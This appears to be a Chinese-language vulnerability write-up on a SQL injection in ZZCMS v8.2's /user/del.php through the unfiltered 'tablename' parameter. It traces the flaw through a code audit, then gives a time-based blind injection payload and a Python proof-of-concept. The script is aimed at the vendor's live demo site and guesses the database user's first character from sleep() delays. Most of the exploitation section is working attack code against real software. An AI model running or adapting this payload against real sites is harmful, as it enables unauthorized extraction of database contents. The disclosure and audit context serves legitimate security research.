ZZCMS v8.2 最新版SQL注入漏洞
阿新 • • 發佈:2022-04-28
0x00概述
近期一直在致力於審計CMS的漏洞,當審計遇到ZZCMS v8.2,發現SQL注入漏洞。
0x01 白盒審計
通過白盒審計工具,發現 /user/del.php 存在SQL注入漏洞。
程式碼位置: /user/del.php 12行,獲取引數。
由於存在checkid() 導致 $id無法進行注入,checkid() 程式碼如圖。
程式碼位置:/inc/function.php 49行
在switch() 分支中不存在SQL注入就不展示程式碼了。在後面程式碼中 135行 發現存在SQL注入問題。
tablename 所在位置無需閉合引號和CMS過濾大於號和小於號(轉換為實體),拼接為 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL語句可以完成注入。
0x02 漏洞利用
測試payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23
測試結果如圖。
0x03POC
用python完成POC進行批量漏洞利用,猜測使用者名稱的第一個字元。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字串 url = "http://demo.zzcms.net/user/del.php" user = '' for i in range(1, 2): for payload in payloads: #遍歷取出字元 startTime = time.time() post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8") response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} ) if time.time() - startTime > 5: user = payload print 'user is:', user break print 'n[Done] current user is %s' % user